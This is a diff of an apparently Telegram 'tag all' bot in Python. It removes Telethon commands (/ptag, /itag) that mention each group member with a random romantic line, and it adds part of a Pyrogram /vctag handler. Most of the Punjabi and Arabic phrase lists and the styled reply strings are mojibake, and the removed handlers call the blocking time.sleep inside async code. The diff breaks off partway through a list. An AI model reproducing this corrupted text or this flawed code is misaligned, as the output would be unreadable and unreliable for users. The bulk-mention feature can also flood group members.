- "àš€à©àš°à© àš¬àš¿àššàšŸ àšà©àš àšµà© àššàšŸàš¹à©, àš®à©àš°àšŸ àšŠàš¿àš² àšà©±àš àšžà©à©°àšŠàš° àš¬àš¿àš®àšŸàš° àš¹à©à¥€",
- "àš€à©àš°à© àš¹à©±àšžà© àš®à©àš°à© àšŠàš¿àš² àšŠà© àšàš¿à©°àšŠàšà©, àš€à©à©° àš®à©àš°à© àšà©àšžàšŒàš¿àšàš àšŠàšŸ àšàšŸàš°àš£ àš¹à©à¥€",
- "àš€à©à©° àš®à©àš°à© àšàšàšŸàš àšŠà© àš°à©àšž, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°àšŸ àšŠàš¿àš² àš°à©àšàšŠàšŸ àššàš¹à©àšà¥€",
- "àš€à©à©° àš®à©àš°àšŸ àšªàš¿àšàš° àš¹à©, àš€à©à©° àš®à©àš°à© àšàš¶àš¿àšà© àšŠàšŸ àšžàš¿àš°àš°àš« àšà©±àš àš¹àš¿à©±àšžàšŸ àššàš¹à©àšà¥€",
- "àš®à©àš àš€à©àš°à© àš¹àš° àš¹àšžà©, àš€à©àš¹àšŸàššà©à©° àšªàš¿àšàš° àšŠàš¿àš²àšŸ àšŠàš¿à©°àšŠàšŸ àš¹àšŸàšà¥€",
- "àš€à©à©° àš®à©àš°à© àšŠàš¿àš² àšŠàšŸ àš°àšŸàšàšŸ àš¹à©, àš€à©à©° àš®à©àš°à© àšàšµàšŸà© àšŠàšŸ àš°àšŸàš àš¹à©à¥€",
- "àš®à©àš°à© àš²àš àš€à©à©° àšžàš àšà©àš àš¹à©, àš€à©àš¹àšŸàššà©à©° àšà©àš£ àššà©à©° àšŠàš¿àš² àšàšŸàš¹à©à©°àšŠàšŸ àš¹àšŸàšà¥€",
- "àš€à©à©° àš®à©àš°à© àšŠà©àššà©àš àšŠàšŸ àš
ੱàšàš°à© àš²àš«àšàšŒ àš¹à©, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°à© àšŠà©àššà©àš àš
àš§à©àš°à© àš¹à©à¥€",
- "àš®à©àš àš€à©àš°à© àš¬àš¿àššàšŸ àššàš¹à©àš àšà© àšžàšàšŠàšŸ, àš€à©à©° àš®à©àš°à© àšàš€àš®àšŸ àšŠàšŸ àš¹àš¿à©±àšžàšŸ àš¹à©à¥€",
- "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àšžàš¥àšŸàšªàš€ àšàš°àšŸàšàšàšŸ, àš€à©àš°à© àšà©àšžàšŒàš¬à© àššà©à©° àšàšªàš£à© àšà©àš£ àšŠà© àšªà©àš°à© àšàšŒàš¿à©°àšŠàšà© àš¬àš£àšŸ àšŠà©àšµàšŸàšàšàšŸà¥€",
- "àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°à© àšŠà©àššà©àš àšžà©à©°àšŠàš° àššàš¹à©àš àš²àšàšŠà©à¥€",
- "àš€à©àš°à© àšªàš¿àšàš° àšµàš¿àš àš®à©àš àšà©àš² àšà© àš¹àšŸàš, àš€à©àš¹àšŸàššà©à©° àš
àšªàš£àšŸ àšŠàš¿àš² àšŠàš¿à©°àšŠàšŸ àš¹àšŸàšà¥€",
- "àš€à©à©° àš®à©àš°à© àšàšŒàš¿à©°àšŠàšà© àšŠàšŸ àš°à©°àš àš¹à©, àš€à©à©° àš®à©àš°à© àšà©àšžàšŒàš¿àšàš àšŠàšŸ àšà©àš€ àš¹à©à¥€",
- "àš€à©à©° àš®à©àš°à© àšàšàšŸàš àšŠà© àšªà©àš°àš¿àš¯àš€àš®àšŸ, àš®à©àš°à© àšà©°àš àšŠà© àš
ੱàšà© àšŠà© àšžà©à©°àšŠàš°à© àšàšµà©à¥€",
- "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àššàš¹à©àš àšà©àš²àšŠàšŸ, àš€à©àš¹àšŸàššà©à©° àšªàš¿àšàš° àšàš°àšŠàšŸ àš°àš¹à©àšàšŸà¥€",
- "àš€à©à©° àš®à©àš°à© àšàšžàš®àšŸàšš àšŠà© àš€àšŸàš°àšŸ, àš®à©àš°à© àšàšŒàš¿à©°àšŠàšà© àšŠàšŸ àšàšŸàšàšŠ àš¹à©à¥€",
- "àš€à©à©° àš®à©àš°à© àšà©àšžàšŒàš¬à© àš¹à©, àš®à©àš àš€à©àš°à© àš¬àš¿àššàšŸ àššàš¹à©àš àšà© àšžàšàšŠàšŸà¥€",
- "àš€à©àš°à© àššàšŸàš² àš¹à©àš£ àšŠà© àšàš¿àš°àšªàšŸ àšàš°à©, àš€à© àš®à©àš°à© àšàšàšŸàš àšŠà© àš°à©àšž àššàšŸàš² àš®àš¿àš²à©à¥€",
- "àš€à©àš°à© àš¬àš¿àššàšŸ, àš®à©àš°à© àšŠàš¿àš² àšµàš¿àš àšàšŸàš®à©àšžà© àš¹à©à¥€",
- "àš€à©à©° àš®à©àš°à© àšà©àšµàšš àšŠàšŸ àšàšàšŸàš²àšŸ, àš®à©àš°à© àšŠàš¿àš² àšŠàšŸ àšàšŸàšàšŠ àš¹à©à¥€",
- "àš€à©à©° àš®à©àš°à© àš¬àš¿àššàšŸ, àš®à©àš°à© àšŠàš¿àš² àššà©à©° àšžà©àšà©àš£ àššàš¹à©àš àš®àš¿àš²àšŠàšŸà¥€",
- "àš€à©à©° àš®à©àš°à© àšà©àšµàšš àšŠàšŸ àš
ੱàšàš°à© àš¹à©±àšžà© àš¹à©, àš€à©à©° àš®à©àš°à© àšŠà©àššà©àš àšŠàšŸ àš
ੱàšàš°à© àšà©±àš àš
ੱàšàš°à© àš
ੱàšàš°à© àš¹à©±àšžà© àš¹à©à¥€",
- "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àšŠàšŸ àšžàšŸàš¥à© àš¬àš£àšŸàšàšàšŸ, àš€à©àš°à© àššàšŸàš² àšà©àšµàšš àšŠàšŸ àš¹àš° àšªà©±àš² àšàššà©°àšŠàš®àš¯à© àš¹à©àšµà©àšàšŸà¥€",
- "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àššàš¹à©àš àšà©àš²àšŠàšŸ, àš€à©àšžà©àš àš®à©àš°à© àšàšŒàš¿à©°àšŠàšà© àšŠà© àšžàš àšà©àš àš¹à©à¥€",
- "àš€à©à©° àš®à©àš°à© àšàšŒàš¿à©°àšŠàšà© àšŠà© àšžàš àšà©àš àš¹à©, àš€à©à©° àš®à©àš°àšŸ àšžà©±àšàšŸ àšªàš¿àšàš° àš¹à©à¥€",
- "àš€à©à©° àš®à©àš°à© àšàšŒàš¿à©°àšŠàšà© àšŠà© àšàš®àš, àš€à©àš°à© àš¹à©±àšžà© àšŠà© àšžàšµàšŸàš°à© àš¹à©à¥€",
- "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àšŠàšŸ àšžàšŸàš¥à© àš¬àš£àšŸàšàšàšŸ, àš€à©àš°à© àš¬àš¿àššàšŸ àšà©àšµàšš àššàšŸàš®à©àššàšŸ àš¹à©àšµà©àšàšŸà¥€",
- "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àššàš¹à©àš àšà©àš²àšŠàšŸ, àš€à©àš¹àšŸàššà©à©° àšªàš¿àšàš° àšŠà© àšŠà©àššà©àš àšŠà© àš°à©°àš àšŠàš¿à©°àšŠàšŸ àš¹àšŸàšà¥€",
- "àš€à©à©° àš®à©àš°à© àšàšŒàš¿à©°àšŠàšà© àšŠàšŸ àšàšŸàšàšŠ, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°àšŸ àšŠàš¿àšš àšžà©àššàšžàšŸàšš àš¹à©à¥€",
- "àš€à©à©° àš®à©àš°à© àšàšŒàš¿à©°àšŠàšà© àšŠàšŸ àšžà©à©°àšŠàš° àšà©°àš, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°à© àšàšŒàš¿à©°àšŠàšà© àš
àš§à©àš°à© àš¹à©à¥€",
- "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àššàš¹à©àš àšà©àš²àšŠàšŸ, àš€à©àš¹àšŸàššà©à©° àšªàš¿àšàš° àšŠà© àš
à©°àš àš¬àš£àšŸàšàšàšŸà¥€",
- "àš€à©à©° àš®à©àš°à© àšàš¿à©°àšŠàšà© àšŠàšŸ àš°à©°àš, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°à© àšŠà©àššà©àš àš¬à©àš°à©°àš àš¹à©à¥€",
- "àš€à©à©° àš®à©àš°à© àšàšŒàš¿à©°àšŠàšà© àšŠàšŸ àšžà©àš¹àš£àšŸ àšªà©±àš, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°àšŸ àšŠàš¿àš² àšžà©à©°àšŠàš° àššàš¹à©àš àš²àšàšŠàšŸà¥€",
- "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àššàš¹à©àš àšà©àš²àšŠàšŸ, àš€à©àš¹àšŸàššà©à©° àšªàš¿àšàš° àšŠà© àšžàš¿àšªàšŸàš¹à© àš¬àš£àšŸàšàšàšŸà¥€",
- "àš€à©à©° àš®à©àš°à© àšàšŒàš¿à©°àšŠàšà© àšŠàšŸ àšžà©à©°àšŠàš° àš°à©°àš, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°àšŸ àšŠàš¿àš² àš¬àš¿àššàšŸ àš°à©°àš àš¹à©à¥€",
- "àš€à©à©° àš®à©àš°à© àšŠàš¿àš² àšŠàšŸ àšžàšàšŸ àšªàš¿àšàš°, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°à© àšàš¿à©°àšŠàšà© àš¬à©àš®àšŸàšš àš¹à©à¥€",
- "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àššàš¹à©àš àšà©àš²àšŠàšŸ, àš€à©àš¹àšŸàššà©à©° àšªàš¿àšàš° àšŠàšŸ àš¹à©±àšžà© àšŠà© àš®àš¿àšžàšŸàš² àš¬àš£àšŸàšàšàšŸà¥€",
- "àš€à©à©° àš®à©àš°à© àšàšŒàš¿à©°àšŠàšà© àšŠàšŸ àšžàš¬ àšà©àš, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°àšŸ àšà©àšµàšš àš
àš§à©àš°àšŸ àš¹à©à¥€",
- "àš€à©à©° àš®à©àš°à© àšŠàš¿àš² àšŠàšŸ àš°àšŸàšàšŸ, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°àšŸ àšŠàš¿àš² àšžà©à©°àšŠàš° àššàš¹à©àš àš²àšàšŠàšŸà¥€",
- "àš€à©à©° àš®à©àš°à© àšà©àšµàšš àšŠàšŸ àšàšžàš®àšŸàšš, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°à© àšŠà©àššà©àš àš¬à©àšžàš¿àš®àšŸàš° àš¹à©à¥€",
- "àš€à©à©° àš®à©àš°à© àšà©àš¶àš¿àšàš àšŠàšŸ àšàšŸàš°àš£, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°à© àšà©àšµàšš àšµàš¿àš àšà©àš¶àš¬à© àš¹à©à¥€",
- "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àšŠàšŸ àšžàšŸàš¥à© àš¬àš£àšŸàšàšàšŸ, àš€à©àš¹àšŸàššà©à©° àšªàš¿àšàš° àšŠà© àš®àš¿àšžàšŸàš² àš¬àš£àšŸàšàšàšŸà¥€",
- "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àššàš¹à©àš àšà©àš²àšŠàšŸ, àš€à©àšžà©àš àš®à©àš°à© àšŠàš¿àš² àšŠà© àšàšµàšŸà© àš¹à©à¥€",
- "àš€à©à©° àš®à©àš°à© àšàš¿à©°àšŠàšà© àšŠàšŸ àš°à©°àš, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°à© àšŠà©àššà©àš àš
àš§à©àš°à© àš¹à©à¥€",
- "àš€à©à©° àš®à©àš°à© àšŠàš¿àš² àšŠàšŸ àšžàšàšŸ àšªàš¿àšàš°, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°à© àšàš¿à©°àšŠàšà© àšŠàšŸ àšžàš¬ àšà©àš àšà©àš àš¹à©à¥€",
- "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àššàš¹à©àš àšà©àš²àšŠàšŸ, àš€à©àšžà©àš àš®à©àš°à© àšà©àšµàšš àšŠàšŸ àšàšàšŸàš²àšŸ àš¹à©à¥€",
- "àš€à©à©° àš®à©àš°à© àšà©àšµàšš àšŠàšŸ àšžà©à©°àšŠàš° àšà©°àš, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°àšŸ àšŠàš¿àš² àšžà©à©°àšŠàš° àššàš¹à©àš àš²àšàšŠàšŸà¥€",
- "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àšŠàšŸ àšžàšŸàš¥à© àš¬àš£àšŸàšàšàšŸ, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°à© àšàš¿à©°àšŠàšà© àš¬àš¿àššàšŸ àš°à©°àš àš¹à©à¥€",
- "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àššàš¹à©àš àšà©àš²àšŠàšŸ, àš€à©àšžà©àš àš®à©àš°à© àšàš¿à©°àšŠàšà© àšŠàšŸ àšàšŸàšàšŠ àš¹à©à¥€",
- "àš€à©à©° àš®à©àš°à© àšàš¿à©°àšŠàšà© àšŠàšŸ àš°à©°àš, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°àšŸ àšŠàš¿àš² àšà©àš¹à© àšŠàšŸ àš®à©àš€à© àš¹à©à¥€",
- "àš€à©à©° àš®à©àš°à© àšŠàš¿àš² àšŠàšŸ àšžàšàšŸ àšªàš¿àšàš°, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°àšŸ àšŠàš¿àš² àš¬àš¿àššàšŸ àšà©°àšà© àšžà©à©°àšŠàš° àš¹à©à¥€",
- "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àšŠàšŸ àšžàšŸàš¥à© àš¬àš£àšŸàšàšàšŸ, àš€à©àšžà©àš àš®à©àš°à© àšàš¿à©°àšŠàšà© àšŠà© àšžàš¬ àšà©àš àš¹à©à¥€",
- "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àššàš¹à©àš àšà©àš²àšŠàšŸ, àš€à©àš¹àšŸàššà©à©° àšªàš¿àšàš° àšŠà© àš°à©°àš àšŠà© àš°à©°àšà© àš¬àš£àšŸàšàšàšŸà¥€",
- "àš€à©à©° àš®à©àš°à© àšàšŒàš¿à©°àšŠàšà© àšŠàšŸ àšàšŸàšàšŠ, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°à© àšà©àšµàšš àšŠàšŸ àšžà©à©°àšŠàš° àš°à©°àš àš¹à©à¥€",
- "àš€à©à©° àš®à©àš°à© àšŠàš¿àš² àšŠàšŸ àšžàšàšŸ àšªàš¿àšàš°, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°à© àšàš¿à©°àšŠàšà© àšŠàšŸ àšžà©à©°àšŠàš° àš°à©°àš àš¹à©à¥€",
- "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àšŠàšŸ àšžàšŸàš¥à© àš¬àš£àšŸàšàšàšŸ, àš€à©àšžà©àš àš®à©àš°à© àšžàšàšŸ àšªàš¿àšàš° àšŠà© àš®àš¿àšžàšŸàš² àš¹à©à¥€",
- "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àššàš¹à©àš àšà©àš²àšŠàšŸ, àš€à©àš¹àšŸàššà©à©° àšªàš¿àšàš° àšŠà© àšžàšàšŸ àšªàš¿àšàš° àšŠàšŸ àšžàšàšŸ àšªàš¿àšàš° àšŠà© àšžàš¿àšªàšŸàš¹à© àš¬àš£àšŸàšàšàšŸà¥€",
- "àš€à©à©° àš®à©àš°à© àšŠàš¿àš² àšŠàšŸ àšžàšàšŸ àšªàš¿àšàš°, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°à© àšàš¿à©°àšŠàšà© àšŠàšŸ àšžàš àšà©àš àš¬à©àš¹à©±àšŠ àšžà©à©°àšŠàš° àš¹à©à¥€",
- "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àšŠàšŸ àšžàšŸàš¥à© àš¬àš£àšŸàšàšàšŸ, àš€à©àš¹àšŸàššà©à©° àšªàš¿àšàš° àšŠà© àšžàš àšà©àš àšžàšŸàšàšàšŸ àšàš°àšš àšŠàšŸ àšžàšŸàš¥à© àš¬àš£àšŸàšàšàšŸà¥€",
- "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àššàš¹à©àš àšà©àš²àšŠàšŸ, àš€à©àš¹àšŸàššà©à©° àšªàš¿àšàš° àšŠà© àš°à©°àš àšŠà© àš°à©°àšà© àš¬àš£àšŸàšàšàšŸà¥€",
- "àš€à©à©° àš®à©àš°à© àšàšŒàš¿à©°àšŠàšà© àšŠàšŸ àšàšŸàšàšŠ, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°à© àšà©àšµàšš àšŠàšŸ àšžà©à©°àšŠàš° àšà©°àš àš¹à©à¥€",
- "àš€à©à©° àš®à©àš°à© àšŠàš¿àš² àšŠàšŸ àšžàšàšŸ àšªàš¿àšàš°, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°àšŸ àšŠàš¿àš² àšŠà© àšžàšàšŸ àšªàš¿àšàš° àšŠàšŸ àšžàšàšŸ àšªàš¿àšàš° àš¹à©à¥€",
-]
-
-
-@client.on(events.NewMessage(pattern="^/ptag ?(.*)"))
-async def mention_all(event):
- chat_id = event.chat_id
- if event.is_private:
- return await event.respond(
- "__This command can be used in groups and channels!__"
- )
-
- is_admin = False
- try:
- partici_ = await client(GetParticipantRequest(event.chat_id, event.sender_id))
- except UserNotParticipantError:
- is_admin = False
- else:
- if isinstance(
- partici_.participant, (ChannelParticipantAdmin, ChannelParticipantCreator)
- ):
- is_admin = True
- if not is_admin:
- return await event.respond("ðð§ð¥ð² ðððŠð¢ð§ ððð§ ððð§ðð¢ðšð§ ððš ðð¥ð¥ ðððð²...")
-
- if event.pattern_match.group(1):
- return await event.respond("/ptag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ððð±ð ðð¢ðŠð ðð€ ð
ðšð« ððð ð ð¢ð§ð ..")
- else:
- mode = "text_on_cmd"
- msg = event.pattern_match.group(1)
- if msg is None:
- return await event.respond(
- "/ptag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ðð« ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð..."
- )
-
- spam_chats.append(chat_id)
- async for usr in client.iter_participants(chat_id):
- if not chat_id in spam_chats:
- break
- user_id = usr.id
- mention_text = f"[{usr.first_name}](tg://user?id={user_id}) {random.choice(PUNJABI)}"
- await client.send_message(chat_id, mention_text)
- time.sleep(5)
-
- try:
- spam_chats.remove(chat_id)
- except:
- pass
-INDO = [
- "Kaulah sinar matahari dalam hidupku.",
- "Jatuh cinta padamu adalah seperti bunga-bunga mekar di hatiku.",
- "Bersamamu, setiap hari adalah petualangan yang tak terlupakan.",
- "Cintaku untukmu tak akan pernah pudar, seperti bintang yang selalu bersinar di langit malam.",
- "Kaulah nafas segar dalam pagi hariku.",
- "Ketika kita bersama, dunia terasa sempurna.",
- "Cintaku untukmu lebih dalam dari lautan yang tak berujung.",
- "Kau adalah senyum terindah dalam hidupku.",
- "Denganmu, aku merasa lengkap.",
- "Kaulah mata air kebahagiaanku.",
- "Cinta kita bagaikan lagu yang indah, selalu terdengar dalam hatiku.",
- "Ketika kau tersenyum, dunia terasa lebih cerah.",
- "Setiap detik bersamamu adalah berharga.",
- "Cintaku padamu bagaikan api yang tak pernah padam.",
- "Ketika kita bersama, waktu terasa berhenti.",
- "Kaulah keajaiban dalam hidupku.",
- "Cintaku untukmu tak bisa diukur, karena tak terbatas.",
- "Kaulah impian yang selalu kuinginkan.",
- "Bersamamu adalah tempat terbaik dalam dunia ini.",
- "Cintaku padamu adalah seperti hujan lebat yang mengalir di hatiku.",
- "Ketika kau dekat, hatiku berdebar lebih cepat.",
- "Cintaku padamu melebihi segala kata-kata.",
- "Kau adalah bagian terindah dalam hidupku.",
- "Bersamamu adalah semua yang kubutuhkan.",
- "Cintaku untukmu tak akan pernah luntur.",
- "Kaulah cinta sejati dalam hidupku."
-]
-
-
-@client.on(events.NewMessage(pattern="^/itag ?(.*)"))
-async def mention_all(event):
- chat_id = event.chat_id
- if event.is_private:
- return await event.respond(
- "__This command can be used in groups and channels!__"
- )
+@app.on_message(filters.command(["vctag"], prefixes=["/", ".", "@", "#"]))
+async def mention_allvc(client, message):
+ chat_id = message.chat.id
+ if message.chat.type == ChatType.PRIVATE:
+ return await message.reply("ðð¡ð¢ð¬ ððšðŠðŠðð§ð ðð§ð¥ð² ð
ðšð« ðð«ðšð®ð©ð¬.")
is_admin = False
try:
- partici_ = await client(GetParticipantRequest(event.chat_id, event.sender_id))
- except UserNotParticipantError:
+ participant = await client.get_chat_member(chat_id, message.from_user.id)
+ except UserNotParticipant:
is_admin = False
else:
- if isinstance(
- partici_.participant, (ChannelParticipantAdmin, ChannelParticipantCreator)
+ if participant.status in (
+ ChatMemberStatus.ADMINISTRATOR,
+ ChatMemberStatus.OWNER
):
is_admin = True
if not is_admin:
- return await event.respond("ðð§ð¥ð² ðððŠð¢ð§ ððð§ ððð§ðð¢ðšð§ ððš ðð¥ð¥ ðððð²...")
-
- if event.pattern_match.group(1):
- return await event.respond("/itag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ððð±ð ðð¢ðŠð ðð€ ð
ðšð« ððð ð ð¢ð§ð ..")
- else:
- mode = "text_on_cmd"
- msg = event.pattern_match.group(1)
- if msg is None:
- return await event.respond(
- "/itag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ðð« ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð..."
- )
-
+ return await message.reply("ððšð® ðð«ð ððšð ðððŠð¢ð§ ðððð², ðð§ð¥ð² ðððŠð¢ð§ð¬ ððð§ ððð ðððŠððð«ð¬. ")
+ if chat_id in spam_chats:
+ return await message.reply("ðð¥ððð¬ð ðð ð
ð¢ð«ð¬ð ðððšð© ðð®ð§ð§ð¢ð§ð ððð§ðð¢ðšð§ ðð«ðšððð¬ð¬ ðð² /tagalloff , /stopvctag ...")
spam_chats.append(chat_id)
- async for usr in client.iter_participants(chat_id):
+ usrnum = 0
+ usrtxt = ""
+ async for usr in client.get_chat_members(chat_id):
if not chat_id in spam_chats:
break
- user_id = usr.id
- mention_text = f"[{usr.first_name}](tg://user?id={user_id}) {random.choice(INDO)}"
- await client.send_message(chat_id, mention_text)
- time.sleep(5)
-
- try:
- spam_chats.remove(chat_id)
- except:
- pass
-
-
-
-ARABIC = [
- "ØÙÙÙ
ا ÙÙØªÙÙØ ÙØµØšØ Ø§ÙØ¹Ø§ÙÙ
Ø£ÙØ«Ø± Ø³ØØ±Ùا.",
- "Ø¹ÙØ¯Ù
ا Ø£ÙØžØ± Ø¥ÙÙÙØ ÙÙ
ØªÙØŠ ÙÙØšÙ ØšØ§ÙØ³Ø¹Ø§Ø¯Ø©.",
- "ÙÙØ§Ø€Ùا ÙØ§Ù Ù
ث٠اÙÙØ¯Ø±Ø Ù
ÙØªÙØš Ù
ÙØ° Ø§ÙØ£Ø²Ù.",
- "Ø£ÙØª ÙÙØ³ ÙÙØ· ØØšÙØšÙØ ØšÙ Ø£ÙØª صدÙÙÙ Ø§ÙØ£Ø¹Ø² ÙØ±ÙØÙ.",
- "عÙÙÙ٠تØÙ
٠اÙÙØ«Ùر Ù
Ù Ø§ÙØ£Ø³Ø±Ø§Ø± Ø§ÙØ¬Ù
ÙÙØ©.",
- "ÙÙÙ
ا اؚتسÙ
ØªØ ÙØ²Ùر Ø§ÙØ¹Ø§ÙÙ
Ù
Ù ØÙÙÙ.",
- "Ø£ØØš Ø£Ù Ø£Ù
ض٠ÙÙ ÙØØžØ© Ù
عÙ.",
- "ØÙØ§ØªÙ ÙØ§ ØªÙØªÙ
Ù Ø¥ÙØ§ ØšÙ ØšØ¬Ø§ÙØšÙ.",
- "ØµÙØªÙ ÙØ¹Ø²Ù أجÙ
Ù Ø§ÙØ£ÙØØ§Ù ÙÙ ÙÙØšÙ.",
- "Ø£ØØšÙ ØšÙÙ Ù
ا Ø£Ù
ÙÙ ÙØšÙÙ Ù
ا Ø£ÙÙ٠عÙÙÙ.",
- "Ø£ÙØª ÙØ¬Ù
Ø© ساطعة Ù٠سÙ
ا؊٠اÙÙØ§Ù
ØªÙØ§ÙÙØ©.",
- "ÙØ§ ØªÙØ¬Ø¯ ÙÙÙ
ات تÙÙÙ ÙÙØµÙ Ù
Ø¯Ù ØØšÙ ÙÙ.",
- "ÙÙØšÙ ÙÙØšØ¶ ØšÙÙØ© ÙÙÙ
ا ÙÙØª ØšØ¬ÙØ§Ø±Ù.",
- "Ø£ÙØª Ø£Ù
ÙÙ ÙØ³Ø¹Ø§Ø¯ØªÙ ÙÙ ÙØ°Ù Ø§ÙØÙØ§Ø©.",
- "Ø£ÙØª تÙ
ÙØ Ø§ÙØÙØ§Ø© Ù
عÙÙ ÙØ¬Ù
اÙÙØ§.",
- "أتÙ
ÙÙ Ø£Ù ÙØ³ØªÙ
ر ØØšÙا Ø¥ÙÙ Ø§ÙØ£ØšØ¯ ÙØ£ØšØ¹Ø¯.",
- "ØšØ¬Ø§ÙØšÙ أجد Ø§ÙØ³ÙاÙ
ÙØ§Ùسعادة.",
- "Ø¹ÙØ¯Ù
ا تؚتسÙ
Ø ØªÙÙØ± ØÙØ§ØªÙ ÙØ§ÙØŽÙ
س.",
- "ÙÙØšÙ ÙØ®ØšØ±Ù٠دا؊Ù
ÙØ§ Ø£ÙÙ Ø§ÙØŽØ®Øµ Ø§ÙØµØÙØ ØšØ§ÙÙØ³ØšØ© ÙÙ.",
- "ØÙات٠Ù
ع٠ÙÙ Ø£ÙØ¶Ù ØÙاة ÙÙ
ÙÙÙ٠أ٠أØÙÙ
ØšÙØ§.",
- "Ø£ÙØª جÙ
ÙÙØ© Ù
Ù Ø§ÙØ¯Ø§Ø®Ù ÙØ§Ùخارج.",
- "ÙØ·Ø§ÙÙ
ا أع؎٠أÙÙØ§ØªÙا اÙÙ
Ù
ÙØ²Ø© سÙÙÙØ§.",
- "Ø£ÙØª عاÙÙ
Ù ÙÙÙ ØŽÙØ¡ ÙÙÙ.",
- "ØšØ¬Ø§ÙØšÙ أ؎عر ØšØ§ÙØ£Ù
Ø§Ù ÙØ§ÙØÙ
Ø§ÙØ©.",
- "Ø£ÙØª ÙØ¹Ù
Ø© ÙØ§ ØªÙØ¯Ø± ؚثÙ
Ù ÙÙ ØÙاتÙ.",
- "Ù٠أتÙÙÙ Ø£ØšØ¯ÙØ§ Ø¹Ù ØØšÙ ÙØ§ÙتÙ
اÙ
Ù ØšÙ.",
- "Ø£ÙØª اÙÙØºØ² Ø§ÙØ°Ù Ø£Ø±ÙØ¯ أ٠أØÙÙ Ø·ÙØ§Ù ØÙاتÙ.",
- "Ø¹ÙØ¯Ù
ا Ø£ÙÙÙ 'Ø£ØØšÙ'Ø ÙØ¥Ù ذÙÙ ÙØ¹Ù٠اÙÙØ«Ùر.",
- "ÙØ§ ÙÙØ¬Ø¯ أجÙ
Ù Ù
Ù ØªÙØ§Ø¬Ø¯Ù ÙÙ ØÙاتÙ.",
- "Ø£ÙØª رÙ
ز Ø§ÙØ¬Ù
Ø§Ù ÙØ§ÙØ£ÙØ§ÙØ© ؚاÙÙØ³ØšØ© ÙÙ.",
- "ÙÙ ÙÙÙ
Ø£ÙØ¶ÙÙ Ù
ع٠ÙÙ ÙÙÙ
جÙ
ÙÙ ÙØ³Ø¹Ùد.",
- "Ø¹ÙØ§ÙØªÙØ§ ÙÙ Ø£ÙØ«Ø± Ù
Ù Ù
جرد ØØšØ Ø¥ÙÙØ§ Ù
غاÙ
رة را؊عة.",
- "ÙØ§ ÙÙÙ
Ù
ا ÙØØ¯Ø«Ø Ø³Ø£ÙÙ٠دا؊Ù
ÙØ§ ØšØ¬Ø§ÙØšÙ.",
- "Ø£ØØš Ø£Ù Ø£Ø³Ù
ع ØµÙØªÙ ÙØ£Ø±Ù ÙØ¬ÙÙ ÙÙ ÙÙÙ
.",
- "Ø£ÙØª Ù
ÙØ§Ø°Ù ÙÙ
صدر ÙÙØªÙ ÙÙ Ø§ÙØ£ÙÙØ§Øª Ø§ÙØµØ¹ØšØ©.",
- "ØšØšØ³Ø§Ø·Ø©Ø Ø£ÙØª ØØš ØÙØ§ØªÙ ÙØ£Ù
Ù٠اÙÙØÙØ¯.",
- "Ø£ÙØª تÙ
ÙØ Ø§ÙØÙØ§Ø© ÙÙÙÙØ§ ÙØ¬Ù
اÙÙØ§ Ù
ختÙÙÙØ§.",
